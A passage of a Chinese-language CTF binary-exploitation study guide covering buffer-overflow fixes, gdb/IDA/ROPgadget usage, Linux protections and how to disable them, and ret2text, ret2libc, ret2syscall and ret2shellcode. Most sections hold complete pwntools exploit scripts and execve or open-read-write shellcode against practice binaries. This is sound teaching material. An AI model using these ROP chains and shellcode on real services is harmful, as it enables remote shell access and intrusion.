        printf("Result is: %d", c);
        return 0;
}

修复建议

1、对所有用户输入进行边界检查，确保写入缓冲区的数据不会超出其容量。
2、使用安全的替代函数

不安全函数	安全函数	说明
`gets(char *str)`	*`fgets(char \str, int size, FILE \stream)`*	`fgets` 会读取最多 `size-1` 个字符，并在末尾添加 `\0`。用 `stdin` 作为流参数。
`strcpy(char dest, const char src)`	*`strncpy(char \dest, const char \src, size_t n)`*	拷贝最多 `n` 个字符。注意：如果 `src` 前 `n` 个字符没有 `\0`，则 `dest` 不会以 `\0` 结尾，需要手动处理。
`strcat(char dest, const char src)`	*`strncat(char \dest, const char \src, size_t n)`*	相对安全，它会自动在末尾添加 `\0`，但需确保 `dest` 有足够空间容纳 `n+1` 个新字符。
`sprintf(char *str, ...)`	*`snprintf(char \str, size_t size, const char \format, ...)`*	最多写入 `size-1` 个字符，并保证以 `\0` 结尾。这是最推荐的格式化输出函数。

工具使用

nc

在终端直接与远程程序交互：nc ip port

IDA

参考文章：https://www.cnblogs.com/ve1kcon/p/17812418.html

快捷键	作用
n	重命名变量/函数
y	修改函数原型或者变量类型
tab	在反汇编窗口中，进行汇编指令与伪代码之间的切换
esc	翻页，返回前一页面
space	在反汇编窗口中，进行列表视图与图形视图之间的切换
f12	打开字符串窗口，可用于字符串搜索
/	添加注释

gdb

参考文章：https://www.cnblogs.com/ve1kcon/p/17812420.html

指令	作用
gdb filename	进入调试可执行程序
r	开始/重新运行程序
c	运行到断点/结束
q	退出
n	单步调试
s	单步调试并跟进函数
p/x	用于计算（相当于计算器）
vmmap	获取调试进程中的虚拟映射地址范围
x/gx x/gi x/gs	以数据 / 汇编 / 字符串的形式查看内存（x/20gx一次查看更多数据）
b address / function_name / $rebase(address)	绝对地址 / 函数名 / 相对地址下断点
fin	跳出当前函数，执行到函数返回处
context	重新打印页面信息
code	查看程序基址
libc	查看libc基址

checksec

checksec filename 查看架构、端序、保护

elf文件格式

.init、.fini：保存了进程初始化和结束所用的代码，这两个节通常都是由编译器自动添加
plt、got：动态链接的跳转和全局入口表
.text：代码段
.rodata：保存了只读数据，可以读取但不能修改

例如示例代码中的"Result is: %d"
.data：已初始化的全局变量和局部静态变量都保存在.data段

例如示例代码中的"Hello world!"
.bss：未初始化的全局变量和局部静态变量默认值都为0

.bss段只是为未初始化的全局变量和局部静态变量预留位置没有内容，所以它在文件中也不占据空间

例如示例代码中的buf

函数调用过程

栈

指数据暂时存储的地方，所以才有入栈、出栈的说法，入栈和出栈都在栈顶（即将数据存放到数据暂存区的顶部以及从顶部取出数据），局部非静态变量存储在栈中

寄存器

64位

一个地址占8字节，可以使用pwntools的p64生成一个64位的地址

栈：rbp -> 栈底 rsp -> 栈顶

当前执行指令寄存器：rip

传参：rdi -> 一参 rsi -> 二参 rdx -> 三参

32位

一个地址占4字节，可以使用pwntools的p32生成一个32位的地址

栈：ebp：栈底 esp：栈顶

当前执行指令寄存器：eip

传参：通过栈传参

函数调用

linux保护机制

ASLR：Address Space Layout Randomization

linux地址随机化，程序运行时的堆栈以及共享库的加载地址随机化

关闭ASLR:sudo sysctl -w kernel.randomize_va_space=0

RELRO：RELocation Read-Only

Full RELRO：got表不可写

Partial RELRO

gcc编译时关闭relro参数：
-z norelro	完全关闭
-z lazy		部分开启
-z now		完全开启

stack

canary，防止栈溢出，位于rbp - 0x8

gcc编译时关闭canary参数：
-fno-stack-protector

NX：Non-eXecute

NX enable：堆栈不可执行，仅.text段可执行

No NX

gcc编译时关闭NX参数：
-z execstack	允许在堆栈上执行代码
-z noexecstack	禁止在堆栈上执行代码

PIE

gcc编译，code，获取地址，下断点
1. PIE enabled：程序地址随机化
2. No PIE
```
gcc编译时关闭PIE参数：
-no-pie
```

ret2text

即返回到text段，劫持返回地址到后门（即覆盖ret为后门的地址）

原理

输入长度没有被限制导致覆盖到ret

例如：gets函数不限制输入长度

解题

检查保护（确认no pie以及no canary）
确定后门地址、变量到栈底的距离（根据IDA中变量后的rbp-xx得到与栈底的距离为xx）
填充中间空间（变量到栈底的距离+rbp的长度）并覆盖ret为返回地址

交互脚本模板

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './filename'	#修改成可执行文件名

debug = 0	#打远程时改成1
if debug:
    r = remote('ip', port)	#打远程时修改ip和端口
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)	#在需要调试的地方加上dbg()

r.interactive()

例题：pwn

# 到rbp的偏移为0x70，/bin/sh字符串地址为0x004007B8
# 传入b'a' * 0x70 + b'b' * 0x8能够看到覆盖到ret，后面直接追加字符串地址

exp：

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')
li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')

context.terminal = ['tmux', 'splitw', '-h']

debug = 0
if debug:
    r = remote('ip', port)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    return u64(r.recvuntil(b'\x7f'))[-6:].ljust(8, b'\x00')

binsh = 0x004007B8
payload = b'a' * 0x70 + b'b' * 0x8 + p64(binsh)

dbg()

r.sendline(payload)

r.interactive()

确定栈空间

gdb ./ret2text

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

确定无效地址：
Invalid address 0x62616164

pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112
pwndbg> p 0x64+0xc
$1 = 112

0x02 ret2libc

前置基础

工具指令

ROPgadget

获取gadget地址，--binary参数指定文件，可以是可执行文件或libc文件，grep用于筛选，--string用于筛选字符串

通过pop rdi可以将栈地址中的值传递给rdi寄存器，其他寄存器也同理，所以在构造ROP链时直接使用p64(pop_rdi_ret) + p64(rdi_content)即可控制rdi寄存器的值为rdi_content

$ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'	#控制寄存器的值
$ROPgadget --binary ./pwn --string '/bin/sh'	#查找字符串
$ROPgadget --binary ./libc-2.35.so --only 'leave|ret' | grep 'leave'	#查找leave ret指令地址
$ROPgadget --binary ./pwn --ropchain	#生成现成的rop利用链直接getshell，适用于静态编译的程序
$ROPgadget --binary ./pwn --only 'ret'	#查找ret指令的地址

string

$strings ./libc.so.6  | grep GNU	#获取libc版本

glibc-all-in-one

进入glibc-all-in-one文件夹下执行./update_list之后cat list确认是否有对应版本的libc，存在对应版本使用./download libc版本名进行下载，下载完成之后存在于libs文件夹下，需要用的时候将文件夹下的libc文件夹复制过去，下载失败可以直接复制下载地址到windows中下载再放到虚拟机里

示例

使用strings指令确定libc版本为2.38-1ubuntu6，使用file指令确定32位（也可以checksec ./pwn）

$strings ./libc.so.6  | grep GNU 
GNU C Library (Ubuntu GLIBC 2.38-1ubuntu6) stable release version 2.38.
Compiled by GNU CC version 13.2.0.

$file libc.so.6 
libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=495fc00b597566b5e14e221f563afe29ec1d8478, for GNU/Linux 3.2.0, stripped

确认list列表中存在该版本的libc

$cat list    
2.23-0ubuntu11.3_amd64
2.23-0ubuntu11.3_i386
2.23-0ubuntu3_amd64
2.23-0ubuntu3_i386
2.27-3ubuntu1.5_amd64
2.27-3ubuntu1.5_i386
2.27-3ubuntu1.6_amd64
2.27-3ubuntu1.6_i386
2.27-3ubuntu1_amd64
2.27-3ubuntu1_i386
2.31-0ubuntu9.12_amd64
2.31-0ubuntu9.12_i386
2.31-0ubuntu9.7_amd64
2.31-0ubuntu9.7_i386
2.31-0ubuntu9_amd64
2.31-0ubuntu9_i386
2.35-0ubuntu3.4_amd64
2.35-0ubuntu3.4_i386
2.35-0ubuntu3_amd64
2.35-0ubuntu3_i386
2.37-0ubuntu2.1_amd64
2.37-0ubuntu2.1_i386
2.37-0ubuntu2_amd64
2.37-0ubuntu2_i386
2.38-1ubuntu6_amd64
2.38-1ubuntu6_i386

下载该版本的libc，如果下载失败可以直接复制里面的链接https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.deb在windows里下载再存到虚拟机里，下载完成后位于libs文件夹中，需要使用时直接cp -r ~/glibc-all-in-one/libs/2.38-1ubuntu6_i386 ./2.38复制文件夹使用

$./download 2.38-1ubuntu6_i386                   
Getting 2.38-1ubuntu6_i386
  -> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.deb
  -> Downloading libc binary package
  -> Extracting libc binary package
x - debian-binary
x - control.tar.zst
x - data.tar.zst
/home/starrysky/glibc-all-in-one
  -> Package saved to libs/2.38-1ubuntu6_i386
  -> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6-dbg_2.38-1ubuntu6_i386.deb
  -> Downloading libc debug package
  -> Extracting libc debug package
x - debian-binary
x - control.tar.zst
x - data.tar.zst
/home/starrysky/glibc-all-in-one
  -> Package saved to libs/2.38-1ubuntu6_i386/.debug

ldd

获取可执行文件的动态链接文件，包括ld和libc等

$ldd ./pwn

patchelf

更改可执行文件的动态链接文件，更改ld可以直接指定ld文件，而更改libc需要先使用ldd查看原libc作为--replace-needed选项的第一个参数，一般默认是libc.so.6

libc和ld要同时更改确保在同一版本

$patchelf --replace-needed libc.so.6 ./2.38/libc.so.6 ./pwn		#更改libc
$patchelf --set-interpreter ./2.35/ld-linux-x86-64.so.2 ./pwn	#更改ld

onegadget

能直接getshell的gadget，添加参数-l2可以获得更多

$one_gadget ./libc.so.6

延迟绑定

参考文章：https://starrysky1004.github.io/2024/09/26/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/

延迟绑定是一种在程序运行时才解析外部符号（如函数和变量）地址的技术，它允许程序在启动时不必立即加载所有动态链接库中的符号，从而提高程序的启动速度

c语言内置的函数(例如printf）都是依赖于libc中的外部函数

动态链接与静态链接

动态链接是指在程序运行时才将程序与所需的动态链接库中的库函数链接起来的过程，动态链接的程序在启动时会加载所需的动态库（例如libc），并在运行时解析外部符号的地址

静态链接在编译时将所有需要的库函数直接复制到可执行文件中，生成的可执行文件不依赖于外部的库文件，可以独立运行，但是会导致可执行文件体积增大

plt与got

PLT（Procedure Linkage Table） 是一个代码段，包含了用于动态链接的跳转指令。每个需要动态链接的外部函数都会在PLT中有一个条目，当程序第一次调用这个函数时，PLT中的代码会被执行，这个代码会去查找并解析外部函数的实际地址，并将其存储在GOT中，以便后续调用时直接跳转到正确的地址

GOT（Global Offset Table） 是一个数据段，存储了所有外部符号的地址。在程序启动时，GOT中的条目可能并不包含最终的地址，而是包含指向PLT中相应条目的指针。当PLT条目第一次被执行时，会将查找到的外部符号地址更新到GOT中，这样后续的调用就可以直接通过GOT找到正确的地址

延迟绑定过程

程序启动：程序启动时，动态链接器加载程序和所有依赖的动态库
符号解析：当程序第一次调用一个外部函数时，PLT中的代码会被执行，查找并解析外部函数的实际地址
地址存储：查找到的地址被存储在GOT中，以便后续调用
直接调用：后续对同一外部函数的调用将直接通过GOT进行，无需再次解析

总结

执行函数的plt会通过跳转got直接调用到该函数
got表可写的情况下覆盖函数的got表为其他函数地址可以实现调用该函数时执行到其他函数

ret2libc

目标是执行system("/bin/sh");，即执行system函数其一参为"/bin/sh"

有system和/bin/sh

延迟绑定部分提到，执行函数的plt可以直接调用到该函数，那么构造rop链就是要先控制一参rdi为"/bin/sh"的地址再填system的plt

控制一参

使用ROPgadget找到pop rdi的地址
```
$ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'
```
ps：gadget中含有pop rdi就行，但是有pop其他寄存器就需要在后面加上对应的值，例如0x000ac112 : pop rdi ; pop rbx ; ret，pop rdi之后还pop rbx，所以后面需要加两个地址，即p64(0x000ac112) + p64(rdi_content) + p64(rbx_content)，后面就可以继续加其他gadget
找"/bin/sh"地址

"/bin/sh"地址需要在IDA中查找，直接按f12找到对应地址
找system函数地址

pwntools中可以直接获取plt和got的地址：elf.plt['system'] elf.got['system']

最终构造出

#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret = 
bin_sh = IDA中/bin/sh地址
system_plt = elf.plt['system']
p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
r.sendline(p)

例题ret2libc1

ida中看到的主函数距离栈低还有0x64的偏移，但真实情况需要通过gdb和pwndbg进行调试，发现还需要0xc的距离，之后通过32位栈的传参方式进行传参，system->p32(0)->/bin/sh，因为system之后不需要执行任何代码，所以给占位符0

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ret2libc1'

li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')
li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')

context.terminal = ['tmux', 'splitw', '-h']

debug = 0
if debug:
    r = remote('ip', port)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

#def get_libc():
#    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

system_addr = elf.plt['system']
binsh_addr = 0x08048720
#payload = b'a' * 0x64 + b'b' * 0xc + b'c' * 0x4
payload = b'a' * 0x64 + b'b' * 0xc + p32(system_addr) + p32(0) + p32(binsh_addr)

#dbg()

r.sendline(payload)
r.interactive()

有system无/bin/sh

缺少/bin/sh可以直接往程序中的一个地址写入/bin/sh，假设地址是buf，那么就要先构造gets(buf)，读取/bin/sh之后再执行system('/bin/sh')，其中system的一参就说buf，即/bin/sh的地址

获取gets的plt地址：elf.plt['gets']
设置buf的地址，从IDA中选取，可以从bss段中选取地址
获取system的plt地址：elf.plt['system']
设置一参：ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'

最终构造：注意发送/bin/sh最后加上\x00截断字符串，在执行rop链的过程中会执行gets(buf)从输入流输入buf的值，此时输入/bin/sh\x00即可向buf输入字符串

#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret = 
buf = 
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
p = b'a' * ?
p += p64(pop_rdi_ret) + p64(buf) + p64(gets_plt)	#gets(buf)
p += p64(pop_rdi_ret) + p64(buf) + p64(system_plt)	#system(buf)
r.sendline(p)
r.sendline('/bin/sh\x00')

例题ret2libc2

由于没有/bin/sh字符串，所以通过写入函数先将字符串写入bss段，然后进行调用，ida分析到bss的空间地址，获取plt表中的system和gets函数地址，按照栈空间的顺序进行函数调用

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ret2libc2'

li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')
li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')

context.terminal = ['tmux', 'splitw', '-h']

debug = 0
if debug:
    r = remote('ip', port)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

#def get_libc():
#    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

system_addr = elf.plt['system']
gets_addr = elf.plt['gets']
bss_buf = 0x0804A080
payload = b'a' * 0x64 + b'b' * 0xc
payload += p32(gets_addr) + p32(system_addr) + p32(bss_buf) * 2

#dbg()

r.sendline(payload)
r.sendline('/bin/sh\00')
r.interactive()

无system无/bin/sh

可执行文件中没有system，但是作为动态链接库的libc中有，所以直接执行libc中的system即可，所以思路就是先获取libc的基址，再计算libc中system和/bin/sh的地址，最后执行system('/bin/sh')

got部分提到got表存放了外部符号地址，即libc中的地址，所以如果能够泄露got表中的地址就能获取libc中某个函数的真实地址，再减去这个函数在libc中的偏移就能得到libc的基址，最后加上system函数的偏移就能得到system函数的地址

泄露got表中函数的地址

需要用一个输出函数输出一个got表的地址，一般构造puts(puts_got)，最后还要再回到该函数继续利用栈溢出，即p64(pop_rdi_ret) + p64(puts_got) + p64(puts) + p64(main)

接收该地址：基本就是一个固定用法u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
获取libc基址

标志：64位以7f开头，基址末尾三位是0

已知puts函数的真实地址和puts函数的偏移，libc的基址就等于真实地址减偏移

获取puts函数在libc中的偏移可以通过libc = ELF('libc文件')，然后libc.sym['puts']得到puts偏移

在打本地的时候如果修改了libc版本需要对应修改ELF里的文件路径，也可以直接在本地打通之后修改文件路径为远程的libc文件后直接打远程
获取system和/bin/sh地址：从libc获取地址需要加上基址

system = libc.sym['system'] + libc_base

bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base

最终构造：

#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret = 
main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
p = b'a' * ? + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendline(p)

libc = ELF('libc文件路径')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(p)

例题ret2libc3

1、通过ELF函数获取puts和__libc_start_main的地址，通过put函数打印，获取之后在libc.rip网站中查询对应的offset
2、在libc中的地址减去libc的offset即可获得基址，通过对应的system和/bin/sh的地址offset加上基址即可获得函数和字符串地址
3、最后getshell需要在system函数后加上返回地址，这里写的是4个字节，也可以p32(0)，在某些情况下，返回地址的具体值并不重要，只要 system 函数能够正确执行即可

from pwn import *

sh = process("./ret2libc3")

ret2libc3 = ELF("./ret2libc3")

puts_plt = ret2libc3.plt['puts']
libc_start_main = ret2libc3.got['__libc_start_main']
start = ret2libc3.symbols['_start']
puts_got= ret2libc3.got['puts']

sh.sendlineafter('Can you find it !?',flat(['a'*112,puts_plt, start, puts_got]))
put_addr = u32(sh.recv()[0:4])
print (f"put_addr is "+hex(put_addr))

sh.sendline(flat(['a'*112, puts_plt, start, libc_start_main]))
libc_start_main_addr = u32(sh.recv()[0:4])
print (f"libc_start_main_addr is "+hex(libc_start_main_addr))

puts_libc = 0x732a0
sys_libc = 0x48170
binsh_libc = 0x1bd0d5

libc_base = put_addr - puts_libc
system_addr = libc_base + sys_libc
binsh_addr =  libc_base + binsh_libc

#sh.sendline(flat(['a'*112, system_addr, 'b'*4, binsh_addr]))
sh.sendline(b'a'*112+p32(system_addr)+b'b'*4+p32(binsh_addr))
sh.interactive()

例题level3_x64

1、虽然没有system函数和/bin/sh字符串，可以通过引用的动态链接库libc.so.6进行操作，通过前面的命令查看引用的版本为2.35
2、每传参一次进行调试，查看是否将返回地址覆盖，长度为0x88正好将前面的地址进行覆盖，之后构造ROP链
3、要利用主函数的write函数，其用法为write(1, write_got, ?)，利用找到的rdi和rsi的地址，按照调用顺序将地址覆盖，第一个参数是1则传入p64(1)，第二个参数是输入的内容，由于找到的rsi的ret代码中存在两条指令，所以要将r15寄存器跳过，这里通过传入p64(0)将其过掉
4、想要调用write函数，则需要知道write的真实地址，所以通过elf的got函数和plt函数进行获取真实地址，顺序是got->plt，最后返回到main函数用于下一步的传参
5、为了获取system函数，需要获取libc的基址，所以通过write函数的真实地址减去write函数的偏移量就得到了基址，通过libc基址+system函数的偏移量就得到了system函数的真实地址
6、获取/bin/sh字符串通过libc的search函数进行搜索，加上libc基址就得到了/bin/sh字符串的真实地址
7、之后由于上面的payload返回到了main函数，就需要再次传入payload，和例题一一样，传入pop_rdi地址，然后是/bin/sh字符串，最后是system函数的真实地址

一个寄存器只能传一个参，在调用下一个寄存器时，要把上一个寄存器的参传进去，在这个64位程序里先传参再传函数。然后参数要一个一个放。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './level3_x64'

#li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')
li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')

context.terminal = ['tmux', 'splitw', '-h']

debug = 0
if debug:
    r = remote('127.0.0.1', 1234)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

#def get_libc():
#    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

#0x00000000004006b3 : pop rdi ; ret
#0x00000000004006b1 : pop rsi ; pop r15 ; ret
pop_rdi = 0x00000000004006b3
pop_rsi_r15 = 0x00000000004006b1
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']

#payload = b'a' * (0x80 + 0x8) + b'b' * 0x8
payload = b'a' * (0x80 + 0x8) 

#write(1, write_got, ?)
#payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(write_plt) * 2 + p64(main)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main)
#r.sendline(payload)
r.sendafter("Input:\n", payload)
#write_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
write_addr = u64(r.recv(8))

libc = ELF('./2.35/libc.so.6')
libc_base = write_addr - libc.sym['write']
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base

payload = b'a' * (0x80 + 0x8)
payload += p64(pop_rdi) + p64(bin_sh) + p64(system)

#dbg()

r.sendline(payload)
r.interactive()

堆栈平衡

某些指令，如movaps（用于操作XMM寄存器），要求栈指针RSP必须是16字节对齐的，直接从返回地址开始写rop链可能会造成堆栈不平衡，需要在rop链前加上汇编指令ret平衡堆栈

$ROPgadget --binary ./pwn --only 'ret'	#查找ret指令的地址

32位程序

32位和64位的区别就是32位通过栈传参而不通过寄存器传参，所以不像64位需要找pop rdi的值，32位构造rop链的方式是函数+返回地址+参数列表，例如

p = b'a' * ?
p += p64(pop_rdi_ret) + p64(buf) + p64(gets)	#gets(buf)
p += p64(pop_rdi_ret) + p64(buf) + p64(system)	#system(buf)

对应32位的程序

p = b'a' * (0x64 + 0xc) + p32(gets_plt) + p32(system_plt) + p32(bss) * 2

补充

在题目没有给libc的情况下可以通过泄露多个已知函数名的地址，在https://libc.rip/中查询

0x03 ret2syscall&ret2shellcode&零碎知识点

ret2syscall

前置基础

操作系统的进程空间分为用户空间和内核空间，内核空间需要更高的权限，系统调用就是运行在用户空间的程序向操作系统内核请求需要更高权限运行的内核函数

当用户态进程发起一个系统调用，CPU切换到内核态并开始执行一个内核函数。由于系统调用处理函数只有一个，所以需要通过rax传递系统调用号确定调用的函数

利用

应用程序在用户态准备好调用参数（包括系统调用号和函数参数），在64位程序中执行syscall或在32位程序中执行int 80触发软中断，CPU被软中断打断后执行对应中断处理函数，最后执行ret指令切换回用户态

常用系统调用号：

32位 read 3 open 5 write 4 sigreturn 77/0x4D execve 11/0xb 64位 read 0 open 2 write 1 sigreturn 15/0xF execve 59/0x3b execve用法：execve("/bin/sh", NULL,NULL)

p = p64(pop_rax_ret) + p64(a) + p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(syscall)

对比ret2libc

p = p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(xxx_plt)

全部系统调用号参考：https://syscalls.mebeim.net/?table=x86/64/x64/latest

例题ret2syscall

把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们再执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell：

execve("/bin/sh",NULL,NULL)

其中，该程序是 32 位，所以我们需要使得

系统调用号，即 eax 应该为 0xb
第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
第二个参数，即 ecx 应该为 0
第三个参数，即 edx 应该为 0

ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop  --string '/bin/sh' 
# 0x080bb196 : pop eax ; ret
# 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
# 0x080be408 : /bin/sh
同时获取int 80进行程序软中断
ROPgadget --binary rop  --only 'int'
# 0x08049421 : int 0x80

from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './rop'

li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')
li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')

context.terminal = ['tmux', 'splitw', '-h']

debug = 0
if debug:
    r = remote('ip', port)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    return u64(r.recvuntil(b'\x7f'))[-6:].ljust(8, b'\x00')

#0x080bb196 : pop eax ; ret
#0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
#0x080be408 : /bin/sh
#0x08049421 : int 0x80
pop_eax = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
bin_sh = 0x080be408
int_80 = 0x08049421

#0xb -> execve()
payload = b'a' * 112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_80)

#dbg()

r.sendline(payload)

r.interactive()

ret2shellcode

前置基础

控制程序执行shellcode代码，shellcode指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的shell，或者open read write获取并输出flag，通常情况下shellcode需要我们自行编写，即向内存中填充一些可执行的代码

前提条件：shellcode所在的区域具有可执行权限

工具

查看禁用的函数seccomp-tools dump ./pwn

exp中pwntools使用：

使用asm()将汇编代码转换为对应的机器码
生成shell
```
shellcode = shellcraft.sh()
```

生成orw

shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x123000 + 0x100, 0x30)	#'rsp'
shellcode += shellcraft.write(1, 0x123000 + 0x100,0x30)

自己写shellcode

执行execve('/bin/sh', 0, 0)

shellcode = '''
xor rdx,rdx
push rdx
mov rsi,rsp
mov rax,0x68732f2f6e69622f
push rax
mov rdi,rsp
mov rax,59
syscall
'''

执行open read write

shellcode = """
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
"""

在线汇编和反汇编：http://shell-storm.org/online/Online-Assembler-and-Disassembler/

例题ret2shellcode

gdb+pwndbg查看bss段是否位rwx（这里新版本的ubuntu发现不可执行，在ubuntu18中就可以获得执行权限，不过问题不大，了解思路即可，毕竟一般的题目不会给bss段执行权限）

from pwn import *

#context(arch='amd64', os='linux', log_level='debug')
context(arch='i386', os='linux', log_level='debug')

file_name = './ret2shellcode'

li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')
li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')

context.terminal = ['tmux', 'splitw', '-h']

debug = 0
if debug:
    r = remote('10.1.239.161', 1234)
else:
    r = process(file_name)

def dbg():
    gdb.attach(r)

shellcode = asm(shellcraft.sh())
bss = 0x0804A080
r.sendline(shellcode.ljust(112, b'A') + p32(bss))

#dbg()

r.interactive()

例题ret2shellcode1

1、ida查看buf的长度位0x10，rbp为0x8，ret为0x8，所以首先接收到程序运行时得到的buf起始地址，然后填充覆盖到rbp，后面ret覆盖为shellcode的返回地址，后面写生成的shellcode
2、如果直接在rbp之后编写 shellcode，而不覆盖返回地址，程序会继续使用原来的返回地址，而不是跳转到shellcode，这样shellcode虽然被写入了栈中，但程序不会执行它

from pwn import *

context(os="linux", arch="amd64", log_level='info')
io = process('ret2shellcode1')
#io = remote('challenge-6cdb0db93d50f382.sandbox.ctfhub.com', 24126)

io.recvuntil(b'[')
buf_address = int(io.recvuntil(b']')[:-1].decode('utf-8'), 16)
log.success('buf_address => %s' % hex(buf_address).upper())

shellcode_address = buf_address+0x20 # buf与rbp的距离0x10 + rbp的宽度0x8 + 返回地址的长度0x8
log.success('buf_address => %s' % hex(shellcode_address).upper())

shellcode = asm(shellcraft.sh())
payload = b'a'*0x10 + b'fuckpwn!' + p64(shellcode_address) + shellcode
#io.recv()
io.sendline(payload)
io.interactive()

常见情况

没有开启NX保护，可以泄露栈地址向栈中写入shellcode再将返回地址改到该地址
程序使用mprotect函数给某一段可读可写可执行权限，并且让用户向这一段的变量中输入，再直接将输入的变量作为函数调用

零碎知识点

整数溢出：变量定义为整型但输入后(unsigned int)强制转化为无符号整型，输入-1则变成正无穷

字符溢出：char类型范围是-128~+127，因此输入超过128会变成负数

数组越界：index可控的时候越界写到其他变量

str类函数：例如strcpy、strcat、strcmp、strlen等函数会被\x00截断

scanf：输入+或-不会有实际输入

随机数绕过：利用c和python联合编程，例如：

from ctypes import *
libc = cdll.LoadLibrary('./2.35/libc.so.6')

seed = 0
libc.srand(seed)

for i in range(21):
    v6 = (libc.rand() ^ 0x24) + 1
    r.sendlineafter('input: ', str(v6))

0x04 ret2csu

x86 与 x64 的区别：

x86 都是保存在栈上面的，而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中，如果还有更多的参数的话才会保存在栈上

详细的例子去看蒸米ROP x64篇

x64 下面有一些万能的 gadget：objdump -d ./level5 显示特定的汇编（-D 显示全部的）
观察一下 _libc_csu_init 一般来说，只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化

